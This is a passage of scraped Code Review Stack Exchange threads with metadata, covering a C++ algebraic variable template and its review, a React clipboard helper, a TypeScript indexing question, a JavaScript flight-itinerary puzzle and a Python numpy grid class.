variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
template<typename T>
inline variable_t<Ty>& operator>>=(const T& rhs) {
int val = static_cast<int>(this->t);
val >>= static_cast<int>(rhs);
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
// ------------------------------------
// Arithmetic Operators
// Unary - Addition
inline variable_t<Ty> operator+() const {
return variable_t<Ty>(+this->t);
}
// Unary - Negation
inline variable_t<Ty> operator-() const {
return variable_t<Ty>(-this->t);
}
// Compliment
inline variable_t<Ty>& operator~() {
this->t = ~this->t;
return *this;
}
// Binary
// Addition
template<typename T>
inline variable_t<Ty> operator+(const variable_t<T>& rhs) const {
return variable_t<Ty>(this->t + static_cast<Ty>(rhs()));
}
template<typename T>
inline variable_t<Ty> operator+(const T& rhs) const {
return variable_t<Ty>(this->t + static_cast<Ty>(rhs));
}
// Subtraction
template<typename T>
inline variable_t<Ty> operator-(const variable_t<T>& rhs) const {
return variable_t<Ty>(this->t - static_cast<Ty>(rhs()));
}
template<typename T>
inline variable_t<Ty> operator-(const T& rhs) const {
return variable_t<Ty>(this->t + static_cast<Ty>(rhs));
}
// Multiplication
template<typename T>
inline variable_t<Ty> operator*(const variable_t<T>& rhs) const {
return variable_t<Ty>(this->t * static_cast<Ty>(rhs()));
}
template<typename T>
inline variable_t<Ty> operator*(const T& rhs) const {
return variable_t<Ty>(this->t * static_cast<Ty>(rhs));
}
// Division
template<typename T>
inline variable_t<Ty> operator/(const variable_t<T>& rhs) const {
variable_t<Ty> var(*this);
if (rhs() != 0) {
Ty inv = 1 / static_cast<Ty>(rhs());
var.t = var.t * inv;
}
else {
var = variable_t<Ty>(0);
}
return var;
}
template<typename T>
inline variable_t<Ty> operator/(const T& rhs) const {
variable_t<Ty> var( *this );
if (rhs != 0) {
Ty inv = 1 / static_cast<Ty>(rhs);
var.t = var.t * inv;
}
else {
var = variable_t<Ty>(0);
}
return var;
}
// Modulus
template<typename T>
inline variable_t<Ty> operator%(const variable_t<T>& rhs) const {
return variable_t<Ty>(this->t % static_cast<Ty>(rhs()));
}
template<typename T>
inline variable_t<Ty> operator%(const T& rhs) const {
return variable_t<Ty>(this->t % static_cast<Ty>(rhs));
}
// Bitwise &
template<typename T>
inline variable_t<Ty> operator&(const variable_t<T>& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs & static_cast<int>( rhs() );
return variable_t<Ty>(static_cast<Ty>(val));
}
template<typename T>
inline variable_t<Ty> operator&(const T& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs & static_cast<int>(rhs);
return variable_t<Ty>(static_cast<Ty>(val));
}
// Bitwise |
template<typename T>
inline variable_t<Ty> operator|(const variable_t<T>& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs | static_cast<int>(rhs());
return variable_t<Ty>(static_cast<Ty>(val));
}
template<typename T>
inline variable_t<Ty> operator|(const T& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs | static_cast<int>(rhs);
return variable_t<Ty>(static_cast<Ty>(val));
}
// Bitwise ^
template<typename T>
inline variable_t<Ty> operator^(const variable_t<T>& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs ^ static_cast<int>(rhs());
return variable_t<Ty>(static_cast<Ty>(val));
}
template<typename T>
inline variable_t<Ty> operator^(const T& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs ^ static_cast<int>(rhs);
return variable_t<Ty>(static_cast<Ty>(val));
}
// Bitwise <<
template<typename T>
inline variable_t<Ty> operator<<(const variable_t<T>& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs << static_cast<int>(rhs());
return variable_t<Ty>(static_cast<Ty>(val));
}
template<typename T>
inline variable_t<Ty> operator<<(const T& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs << static_cast<int>(rhs);
return variable_t<Ty>(static_cast<Ty>(val));
}
// Bitwise >>
template<typename T>
inline variable_t<Ty> operator>>(const variable_t<T>& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs >> static_cast<int>(rhs());
return variable_t<Ty>(static_cast<Ty>(val));
}
template<typename T>
inline variable_t<Ty> operator>>(const T& rhs) const {
int lhs = static_cast<int>(this->t);
int val = lhs >> static_cast<int>(rhs);
return variable_t<Ty>(static_cast<Ty>(val));
}
// -------------------------------------------------
// Increment - Decrement Operators
variable_t<Ty>& operator++() {
this->t++;
return *this;
}
variable_t<Ty> operator++(int) {
auto v(*this); // copy
operator++(); // pre-increment
return v; // return old value
}
variable_t<Ty>& operator--() {
this->t--;
return *this;
}
variable_t<Ty>& operator--(int) {
auto v(*this); // copy
operator--(); // pre-decrement
return v; // return old value
}
// ------------------------------------------------
// Comparison operators
template<typename T>
inline bool operator==(const variable_t<T>& rhs) const{
return (this->t == static_cast<Ty>(rhs()));
}
template<typename T>
inline bool operator==(const T& rhs) const {
return (this->t == static_cast<Ty>(rhs));
}
template<typename T>
inline bool operator!=(const variable_t<T>& rhs) const {
return !(*this == rhs);
}
template<typename T>
inline bool operator!=(const T& rhs) const {
return !(this == rhs);
}
template<typename T>
inline bool operator<(const variable_t<T>& rhs) const {
return (this->t < static_cast<Ty>(rhs()));
}
template<typename T>
inline bool operator<(const T& rhs) const {
return (this->t < static_cast<Ty>(rhs));
}
template<typename T>
inline bool operator<=(const variable_t<T>& rhs) const {
return (this->t <= static_cast<Ty>(rhs()));
}
template<typename T>
inline bool operator<=(const T& rhs) const {
return (this->t <= static_cast<Ty>(rhs));
}
template<typename T>
inline bool operator>(const variable_t<T>& rhs) const {
return (this->t > static_cast<Ty>(rhs()));
}
template<typename T>
inline bool operator>(const T& rhs) const {
return (this->t > static_cast<Ty>(rhs));
}
template<typename T>
inline bool operator>=(const variable_t<T>& rhs) const {
return (this->t >= static_cast<Ty>(rhs()));
}
template<typename T>
inline bool operator>=(const T& rhs) const {
return (this->t >= static_cast<Ty>(rhs));
}
};
template<typename T>
auto variable(const T& t) {
return variable_t<T>(t);
}
template<typename T>
auto variable(T& t) {
return variable_t<T>(t);
}
template<typename T>
inline std::ostream& operator<<(std::ostream& os, const variable_t<T>& v) {
return os << v();
}
template<typename T>
inline std::istream& operator>>(std::istream& is, variable_t<T>& v) {
T val;
is >> val;
v = variable_t<T>(val);
return is;
}
}
</code></pre>
<p>In order to keep this short I did not include any use case application code; only the header file itself. I have tested most of the operators and so far they appear to be behaving as expected. Feel free to experiment with this class.</p>
<p>The idea here is that you can easily mix different types and perform any kind of calculation that you normally couldn't easily do as this class handles all of the type conversions. However there are some underlying aspects about this class that the user has to be aware of before using it and they are described in the comment sections. </p>
<hr>
<blockquote>
<p>How I plan on using this class:</p>
<ul>
<li>It will be used within other classes that I'm working on not shown here
<ul>
<li><code>term_t<T></code> - a single term of an algebraic expression such as <code>2x^2 + 3x</code> where <code>2x^2</code> is a term and <code>3x</code> is another term. Here the <code>variable_t<T></code> class would be used in place of the <code>x</code> in those terms.</li>
<li><code>template<typename... Args> class expression_t;</code> - The full <code>rhs</code> or <code>lhs</code> algebraic expression.</li>
</ul></li>
</ul>
</blockquote>
<hr>
<blockquote>
<p>What I would like to know:</p>
<ul>
<li>What are your general thoughts about this overall design?</li>
<li>Are there any possible improvements that can be made?</li>
<li>Are there any corner cases or gotcha's that I may have missed or overlooked?</li>
<li>Would this be considered following modern c++ practices?
<ul>
<li>I do not have support for <code>c++20</code> so the proposed <code><=></code> operator is not available to me. I am currently bound to <code>c++17</code></li>
</ul></li>
<li>Are there any other operators that should be included, or excluded?</li>
<li>What could I do to keep or make this as generic, portable, readable and reusable as possible?</li>
</ul>
</blockquote>
<hr>
<blockquote>
<p><em>-Edit-</em> -- <em>Other features I might add</em></p>
<ul>
<li><p>I'm thinking about adding in a simple feature to this class that would handle information about it's internal value. This would be determined at compile time if possible, and would be calculated during run time when and where needed, for example the internal value was changed, then some of these fields or properties would then need to be updated as well. I could possibly use a simple struct that would contain the following information about its value such as:</p></li>
<li><p><code>is_zero</code>, <code>is_one</code></p></li>
<li><code>is_even</code>, <code>is_odd</code></li>
<li><code>is_prime</code>, <code>is_composite</code></li>
<li><code>is_real</code>, <code>is_complex</code></li>
<li><code>is_negative</code>, <code>is_positive</code></li>
<li><code>is_power_of_two</code>, etc.</li>
</ul>
<p>and in addition to these property traits having available support for functions that would return the correct result. I could either have a single function for each trait or I could have a single function that takes a single parameter and depending on that parameter, it would then query for that specific trait. If I choose the second option I could even have it check for more than one trait in a single function call. example:</p>
<pre><code>struct var_props { /* fields */ };
std::vector<bool> getProperties( var_props& props, SomeEnum val ) { /*...*/ };
// and let's say we have a `variable_t<unsigned long> x{ 42 };
var_props props;
std::vector<bool> res = x.getProperties( props, IS_COMPLEX | IS_ODD | IS_ONE );
// then the query above would produce and fill out the entire property struct,
// and would return a `vector<bool>` containing `{false, false, false}`
// Or
res = x.getProperties( props, IS_REAL | IS_EVEN | IS_PRIME | IS_COMPLEX );
// and this would yield { true, true, false, false }
</code></pre>
<p>The idea above is which ever place the enum above is where the resulting bool to that query would be placed into the vector.
Or I could have this function be of a variadic type that would take <code>1</code> to <code>N</code> arguments. Either way is fine by me as long as they would produce the correct results, are fairly computationally fast and don't provide too much of an over head. I could even potentially have this as an outside function that takes a <code>variable_t<T></code> with any value and it would then generate the necessary properties instead of the class doing itself. I'm not sure which way I want to go with this as of right now, I'm still in the thought - design process. </p>
</blockquote>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:32:40.313",
"Id": "431357",
"Score": "0",
"body": "I updated the original class above and added support for an overloaded `operator()` that takes a value of type `Ty` that will update or change the internal member's value or state."
}
] | [
{
"body": "<ol>\n<li><p>Your code has trailing whitespaces. Remove them. On Emacs, for\nexample, I use:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>M-x delete-trailing-whitespace\n</code></pre></li>\n<li><p>There is much debate on <code>#pragma once</code>. (See, for example,\n<a href=\"//stackoverflow.com/q/1143936\"><code>#pragma once</code> vs include\nguards?</a>) Personally, I don't\nuse <code>#pragma once</code>, but I am not opposed to it either. Other people\nmay disagree.</p></li>\n<li><p>You put your code into the namespace <code>math</code>. This is great, but\n<code>math</code> seems to be too common. Consider a more creative name.</p></li>\n<li><p>Your guidelines on truncation are plausible. <code>x += y</code> should not\nmodify the type of <code>x</code>. That said, I think that <code>f1 + d1</code> should be\nof type <code>variable_t<double></code> instead of <code>variable_t<float></code>. The user\nshould cast manually if information loss is desired:</p>\n\n<pre><code>f1 + static_cast<variable_t<float>>(d1)\n</code></pre></li>\n<li><p>Please! Don't suppress errors caused by division by 0. This will\ncause much more problem than you would think. Throw an exception.\nThis does not cause any degradation in performance because you already\ncheck the case of 0 anyway.</p></li>\n<li><p>Instead of casting floating point types to integer types and then\ndoing bitwise operations, why not ban the operations on types for which\nthe corresponding operations are not available, just like you do for\nother operators?</p></li>\n<li><p>Member functions defined in class are automatically <code>inline</code>.\nThere is no point in marking them <code>inline</code> again. Instead of</p>\n\n<pre><code>inline variable_t() : t{ 0 } {}\n</code></pre>\n\n<p>Use</p>\n\n<pre><code>variable_t() : t{ 0 } {}\n</code></pre>\n\n<p>Similarly for other functions.</p></li>\n<li><p>Instead of direct-initializing the underlying object with the value\n<code>0</code>, consider value-initializing to keep consistent with standard\npractice.</p>\n\n<pre><code>variable_t() : t{} {}\n</code></pre>\n\n<p>You can also use an in-class member initializer.</p></li>\n<li><p>You define the copy constructor:</p>\n\n<pre><code>inline variable_t(const variable_t<Ty>& rhs) { this->t = rhs(); }\n</code></pre>\n\n<p>along with the copy assignment operator. They are redundant.\nWhat's more, they force a copy when <code>Ty</code> can actually be moved.\nLeave them out.</p></li>\n<li><p>You define a constructor to convert between different <code>variable_t</code>\ntypes. (FWIW, technically they are not copy constructors.)</p>\n\n<pre><code>template<typename T>\ninline variable_t(const variable_t<T>& rhs) { this->t = static_cast<Ty>(rhs()); }\n</code></pre>\n\n<p>Use an initializer clause instead of assignment. Also, you should\nconstrain this constructor and mark it as explicit when <code>T</code>\ncannot be implicitly converted to <code>Ty</code>, possibly with the help of\nSFINAE.</p>\n\n<pre><code>template <typename T,\n std::enable_if_t<std::is_convertible_v<T, Ty>, int> = 0>\nvariable_t(const variable_t<T>& rhs)\n :t(rhs)\n{\n}\n\ntemplate <typename T,\n std::enable_if_t<std::is_constructible_v<Ty, T> &&\n !std::is_convertible_v<T, Ty>, int> = 0>\nexplicit variable_t(const variable_t<T>& rhs)\n :t(rhs)\n{\n} \n</code></pre>\n\n<p>With C++20, this becomes easier:</p>\n\n<pre><code>template <typename T>\n requires std::Constructible<Ty, T>\nexplicit(std::ConvertibleTo<T, Ty>) variable_t(const variable_t<T>& rhs)\n :t(rhs)\n{\n}\n</code></pre>\n\n<p>Similarly for <code>operator=</code> with a different <code>variable_t</code> type and\nwith a different <code>T</code> type.</p></li>\n<li><p>The use of <code>operator()</code> to access the underlying value is a bit\nconfusing. The standard practice is to use <code>operator*</code>. A conversion\noperator to <code>Ty</code> is also OK.</p></li>\n<li><p>Don't support an operator if is does not naturally make sense. In\nyour case, just drop <code>operator[]</code>. It only causes confusion.</p></li>\n<li><p>Using <code>operator()</code> to set the underlying value is\ncounterintuitive. Drop it as you already support <code>operator=</code>, which\nis made for this purpose.</p></li>\n<li><p>Don't use <code>this->t</code> when <code>t</code> is sufficient.</p></li>\n<li><p>Your assignment operators (including <code>+=</code>, <code>-=</code>, etc.) are\nduplicating the work of the constructors. Why not support only\n<code>variable_t<Ty></code> and let the constructors handle the different types?\nThis way, you only need one <code>operator=</code>, one <code>operator+=</code>, one\n<code>operator-=</code>, and so on.</p></li>\n<li><p>Why do use first calculate the reciprocal and then multiply it in\nyour implementation of <code>operator/=</code> instead of just using division?</p></li>\n<li><p>Comparison operators are symmetrical operators. Such operators are\ngenerally implemented as non-member functions to enable conversion on\nboth sides. This way you need one instead of three. (And in fact you\nonly provided two of them!)</p></li>\n<li><p>What is the point in having an overload of <code>variable</code> for non-const\nlvalue references? I can't see.</p>\n\n<pre><code>template<typename T>\nauto variable(T& t) {\n return variable_t<T>(t);\n}\n</code></pre></li>\n<li><p>You use</p>\n\n<pre><code>v = variable_t<T>(val);\n</code></pre>\n\n<p>in your implementation of <code>operator>></code>. This way, you are\nduplicating the code of the constructors. Just use</p>\n\n<pre><code>v = val;\n</code></pre></li>\n<li><p>You don't need to <code>#include <iostream></code> just to provide the I/O\noperations. <code>#include <iosfwd></code> is sufficient. The user is\nresponsible for <code>#include <iostream></code> when instantiating them. (See\n<a href=\"//stackoverflow.com/q/4300696\">What is the <code><iosfwd></code> header?</a>)</p></li>\n<li><p>Consider supporting all <code>std::basic_istream</code>s and\n<code>std::basic_ostream</code>s, not just <code>std::istream</code> and <code>std::ostream</code>.\nInstead of</p>\n\n<pre><code>template<typename T>\ninline std::ostream& operator<<(std::ostream& os, const variable_t<T>& v)\n</code></pre>\n\n<p>Use</p>\n\n<pre><code>template <typename C, typename Tr, typename T>\nstd::basic_ostream<C, Tr>&\n operator<<(std::basic_ostream<C, Tr>& os, const variable_t<T>& v)\n</code></pre>\n\n<p>The implementation doesn't change. Similar for <code>operator>></code>.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:09:27.850",
"Id": "431598",
"Score": "1",
"body": "I appreciate all of your feed back. It gives a lot of insight into where improvements can be made. The above is just a draft as I already knew that it wouldn't be for practical use. I'll have to take some time to incorporate what you have suggested. Once I have that complete, I'll make a new posting with a reference link to this Q/A with my updates."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:18:00.500",
"Id": "431601",
"Score": "0",
"body": "Some of your bullet points I can comment on, 1. Trailing White Spaces - I'm not sure where this is actually coming from within my code. 2. #pragma once vs. header guards - There is no preference for me I can use either. 3. namespace math { ... } - this is the namespace in which this class resides, yes it is a common generic name but this is also nested within my library's namespace in which I did not include here. 4 truncation - what you stated is okay I understand what you are saying and I can fix that. ..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:22:25.423",
"Id": "431605",
"Score": "1",
"body": "... 5. Division by 0 - I have my reasons for division of 0 resulting in 0, not now as it isn't currently obvious but later when I start to use this class in other classes, division by 0 will result in different values depending on different situations. I plan on having division by 0 possibly returning 0,1, +/- infinity when I start to introduce limits and the ability to factor polynomials. I may reconsider this also... 6. - Bitwise manipulation - I can agree with your assessment to restricting it only to types that can naturally perform them. ...."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:29:53.767",
"Id": "431607",
"Score": "0",
"body": "... 7. Inline member functions - I was planning on removing the definitions from the class declaration itself and having the functions defined outside of the class but still within the header file leaving just the function prototypes within the class, I defined them within the class for here just to save character space for this posting. 8. Initialization - I have no issues with this, I can make those adjustments. 9 - Copy Constructor & copy assignment - I can take these into consideration. 10 - Replacing with SFINAE - Sounds like a good idea that I can consider. ..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:37:02.263",
"Id": "431611",
"Score": "1",
"body": "11 - `operator*` instead of `operator()` I didn't want to use `operator*` since intuitively for me it appears to work on `pointers`. In my on rationale the class is a wrapper around some `value` T. The idea here was that this class's `operator()` instead of returning an object of itself, it would return the its value. and vice versa, passing a value to it would modify it. I didn't want to have a `setValue` and `getValue` functions. So I thought using the `operator()` and `operator(T)` to retrieve or modify the object made sense. 12 `operator[]` - I can remove this as it is not necessary. ..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:43:01.607",
"Id": "431615",
"Score": "0",
"body": "13 - this ties in with 11. There may be situations where I might need to do something like: `variable_t<int> x(4); auto y = someFunc( x() );` This would retrieve the value from `x` and pass it to `someFunc()`. I may also have a use for this: `void modify( T& t, U& u ) { .... }` `modify(x(u), u);` or something to those effects."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:04:26.643",
"Id": "431619",
"Score": "0",
"body": "... 14. using `this->` - that's understandable enough, I can change that. 15. I can take this into consideration. 16. This was borrowed code from an older library that I have where I had my own vector2 and vector3 classes and within them I did the reciprocal first then multiplied each of the components of those vectors by it as 1 division and 3 multiplications is faster than 3 division. Here it is not necessary. 17. Comparison - I can work to correct this. 18. overload for non const lvalues - I removed it. ..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:06:09.333",
"Id": "431621",
"Score": "1",
"body": "... 19. I fixed this to remove the constructor call and used the `operator=` instead. 20. That header is new to me, but I can look into it. and finally 21. supporting all `basic_streams` is a highly viable option that I will consider."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T03:51:42.280",
"Id": "431660",
"Score": "1",
"body": "@FrancisCugler Wow that’s a large number of comments! Thank you for reading each bullet carefully and replying. I appreciate! To save time, in future you can omit the points you agree on and just discuss the bullets you need explanation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T04:02:17.267",
"Id": "431661",
"Score": "1",
"body": "True enough; but I appreciated your time and effort to go over my proposed code or concept so I provided feedback on each topic you covered. After I begin to work on it to make the above modifications; I'll repost a new Q/A with a provided link to this Q/A."
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:57:28.163",
"Id": "222861",
"ParentId": "222774",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222861",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:12:29.517",
"Id": "222774",
"Score": "4",
"Tags": [
"c++",
"object-oriented",
"template",
"c++17"
],
"Title": "A Versatile Algebraic Variable Class Template with full operator support"
} | 222774 |
<p>I have a React component with a <code>copyToClipboard</code> method, which all works fine, but feels extremely verbose and quite hacky (namely, having to create a new select element, hide it, focus/select/copy it and then delete it). From what I've read, there are a couple of different ways to achieve copy-to-clipboard functionality, but it seems as though this sort of approach is relatively common, and one or two of the other ways doesn't have great browser support yet.</p>
<p>This method gets called when a click event is triggered on a child component, which passes the value to be copied as a single argument.</p>
<p>Is there a nicer/better way to go about doing this?</p>
<pre><code>copyToClipboard = (value: string) => {
const copyTextarea = document.createElement('textarea');
copyTextarea.value = value;
copyTextarea.style.position = 'fixed';
copyTextarea.style.opacity = '0';
copyTextarea.style.pointerEvents = 'none';
document.body.appendChild(copyTextarea);
copyTextarea.focus();
copyTextarea.setSelectionRange(0, value.length);
try {
document.execCommand('copy');
this.showToastNotification(`Successfully copied ${value} to clipboard!`);
} catch (err) {
throw new Error(err);
} finally {
copyTextarea.remove();
}
};
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T19:32:08.410",
"Id": "222776",
"Score": "3",
"Tags": [
"dom",
"react.js",
"typescript"
],
"Title": "Copy-to-clipboard function from a React.js component"
} | 222776 |
<p><em>(irrelevant code removed for demo purposes)</em></p>
<p>I am new to using TypeScript and I have this React component which has an object literal inside the component, which I'm then accessing using a computed property key. Everything works as expected but I was getting the following TS error:</p>
<pre><code>Element implicitly has an 'any' type because expression of type 'string' can't be used to index type '{ keyword: string; hex: string; rgb: string; }'.
No index signature with a parameter of type 'string' was found on type '{ keyword: string; hex: string; rgb: string; }'.ts(7053)
</code></pre>
<p>I managed to get rid of the error by adding the <code>: any</code> to the <code>formats</code> object, though I think this is not the best solution?</p>
<pre class="lang-js prettyprint-override"><code>interface Props {
keyword: string;
hex: string;
rgb: string;
copyFormat: string;
}
export default ({ keyword, hex, rgb, copyFormat }: Props) => {
const formats: any = {
keyword,
hex: hex.toUpperCase(),
rgb: `rgb(${rgb})`,
};
return <p>{formats[copyFormat]}</p>;
};
</code></pre>
| [] | [
{
"body": "<p>You very rarely need to use <code>any</code> in TypeScript because its type-system is so expressive.</p>\n\n<p>The problem is that <code>copyFormat</code> is specified to be <em>any</em> <code>string</code>.</p>\n\n<p>What would happen if you passed <code>\"blahblahblah\"</code> as <code>copyFormat</code>? Your types currently allow this!. Then, your code would attempt to do <code>formats[\"blahblahblah\"]</code>, but <code>.blahblahblah</code> is not a member of the <code>formats</code> object. </p>\n\n<p>You need a more precise type for <code>copyFormat</code>. You intended the caller to only pass one of <code>\"keyword\"</code>, <code>\"hex\"</code>, or <code>\"rgb\"</code>. You can make a type that is just those three values like so:</p>\n\n<pre><code>interface Props {\n keyword: string;\n hex: string;\n rgb: string;\n copyFormat: \"keyword\" | \"hex\" | \"rgb\";\n}\n</code></pre>\n\n<p>It looks like <code>Props</code> really holds two things; it holds the actual data, and then a separate argument controlling what you read from it. It might make sense to split it into two arguments:</p>\n\n<pre><code>export default ({ keyword, hex, rgb }: Props, copyFormat: \"keyword\" | \"hex\" | \"rgb\") => {\n const formats = {\n keyword,\n hex: hex.toUpperCase(),\n rgb: `rgb(${rgb})`,\n };\n\n return <p>{formats[copyFormat]}</p>;\n}\n</code></pre>\n\n<p>If you don't like typing out all of the possible key options, you could instead use the <code>keyof</code> type operator to say that <code>copyFormat</code> is any valid key in the <code>Props</code> type. TypeScript will see that all of the properties are <code>string</code>s and correctly infer the resulting type of <code>formats[copyFormat]</code> is thus a <code>string</code>.</p>\n\n<pre><code>interface Props {\n keyword: string;\n hex: string;\n rgb: string;\n}\n\nexport default ({ keyword, hex, rgb }: Props, copyFormat: keyof Props) => {\n const formats = {\n keyword,\n hex: hex.toUpperCase(),\n rgb: `rgb(${rgb})`,\n };\n\n return <p>{formats[copyFormat]}</p>;\n};\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T09:27:34.970",
"Id": "431412",
"Score": "0",
"body": "Thanks for the help, Curtis.\n\nI utilized your tips and ended up creating a reusable type interface (which is used in a few places throughout the app): `export interface ColorProps {\n keyword: string;\n hex: string;\n rgb: string;\n}`. I then extended that interface and used the `keyof ColorProps` as the type for `copyFormat`: `interface Props extends ColorProps {\n copyFormat: keyof ColorProps;\n onClick: (value: string) => void;\n}`. Hope this is a valid way to do things!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T06:10:43.607",
"Id": "222794",
"ParentId": "222778",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222794",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T20:33:12.917",
"Id": "222778",
"Score": "3",
"Tags": [
"react.js",
"typescript",
"jsx",
"type-safety"
],
"Title": "TypeScript implicit 'any' type with computed property key"
} | 222778 |
<p>Here is my Javascript solution to the following problem:</p>
<blockquote>
<p>Given an un-ordered list of flights taken by someone compute the
person's itinerary, given a starting airport.</p>
<p>If none valid itinerary, return none. If more than one journey is
valid, print any valid solution.</p>
</blockquote>
<p>Examples</p>
<pre><code>Array: [['SFO', 'HKO'], ['YYZ', 'SFO'], ['YUL', 'YYZ'], ['HKO', 'ORD']]
Starting: 'YUL'
Return: ['YUL', 'YYZ', 'SFO', 'HKO', 'ORD'].
</code></pre>
<pre><code>Array: [['SFO', 'COM'], ['COM', 'YYZ']]
Starting airport 'COM'
Return None
</code></pre>
<pre><code>Array: [['A', 'B'], ['A', 'C'], ['B', 'C'], ['C', 'A']]
Starting: 'A'
Return ['A', 'B', 'C', 'A', 'C']
</code></pre>
<p>Please can someone comment on readability and efficiency of the code</p>
<p>Thank you</p>
<pre><code>function plan_journey(place, journeys, route, itinerary){
if(journeys.length == 0){
itinerary.push(route + place)
}
let stops = []
for(i=0; i<journeys.length; i++){
if(journeys[i][0] == place){
stops.push(i)
}
}
if(stops == []){
return
}
for(var i=0; i<stops.length; i++){
let slice_index = stops[i]
let remaining_journeys = journeys.slice(0,slice_index).concat(journeys.slice(slice_index + 1))
let new_route = route + place + "-"
let next_place = journeys[stops[i]][1]
plan_journey(next_place, remaining_journeys, new_route, itinerary)
}
return itinerary
}
let first_stop = "A"
let journeys = [['A', 'B'], ['A', 'C'], ['B', 'C'], ['C', 'A']]
itinerary = plan_journey(first_stop, journeys, "", [])
if(itinerary.length != 0){
console.log(itinerary[0])
}else{
console.log("None")
}
</code></pre>
| [] | [
{
"body": "<p>Your current implementation is a brute force method, that has some hefty space performance problems (you are copying large parts of the journey every step of the way). Note that both the runtime and space costs are exponential in the worst case in this form.</p>\n\n<p>This problem can be solved more elegantly through some of <em>graph theory</em>.\nFirst we note that every location has to be entered the same number of times as it is leaved, except the end and start points which counts as an extra leaving and entry respectively. If this isn't the case then there is no solution, and if it is the case we are guaranteed for there to be a solution.\nTo find such a solution we can separate the locations into places that have only one way to enter and leave, and then the rest (remember that we have already identified our endpoint based on which place had one place less to leave). For those will multiple ways through, we need to find enough cycles that passes through other locations to have it returned to being a one pass in and out, such that we can have a route enter it, go through the cycles and then leave through the remaining exit.\nThe algorithm then is as follows:</p>\n\n<ol>\n<li>Calculate the order (amount of flights entering and leaving) of each location.</li>\n<li>Determine if it is possible to solve and identify the ending location.</li>\n<li>Start from the starting point and go through any combination of journeys until you reach the end location (there is no way to screw yourself over on this one).</li>\n<li>While there are still journeys left untaken, connect them in separate cycles, by just starting at any one of its locations and walk until you get back to the starting location.</li>\n<li>Combine the results from results from step 3 and 4, by injecting the cycles from step 4 as parts of other routes when those other routes reach a location in such a cycle. Repeat this until there is only one route left, that is the result.</li>\n</ol>\n\n<p>There are different ways to implement this, mainly based on how you deal with storing the information of the journeys, routes and locations. It should be possible to implement the above algorithm in such a way that it only require <span class=\"math-container\">\\$O(E)\\$</span> runtime and extra space, with <span class=\"math-container\">\\$E\\$</span> being the number of journeys.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-11T12:11:20.347",
"Id": "434283",
"Score": "0",
"body": "The underlying problem is better known as [the (7) bridges of Königsberg](https://www.youtube.com/watch?v=W18FDEA1jRQ)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T00:35:51.787",
"Id": "222784",
"ParentId": "222781",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222784",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T23:06:09.463",
"Id": "222781",
"Score": "1",
"Tags": [
"javascript",
"programming-challenge"
],
"Title": "A solution to the Journey Planner programming challenge"
} | 222781 |
<p>I made this class to eventually create a tic tac toe game. I used numpy which is a first for me. Here it is:</p>
<pre><code>import numpy as np
class Grid():
def __init__(self, data, row_length, coloumn_length):
"""Represents a Grid of data as a matrix.
Args:
data(list): data to be placed in grid matrix
row_length(int): number of elements per row
coloumn_length(int): number of elements per column
"""
data_len = row_length*coloumn_length
if len(data) < data_len:
difference = data_len - len(data)
data += [0]*(difference)
self.grid_matrix = np.array(data, dtype=object).reshape(row_length, coloumn_length)
def __str__(self):
return str(self.grid_matrix)
def replace(self, position, value):
"""Replace a value in a grid"""
x,y = position
rows, coloumns = len(self.grid_matrix), len(self.grid_matrix[0])
if x < rows and y < coloumns:
self.grid_matrix[x,y] = value
</code></pre>
<p>Note the goal is to make a generic grid class to make it easier to make different games with different tools so the actual rendering will be done in the game class.</p>
| [] | [
{
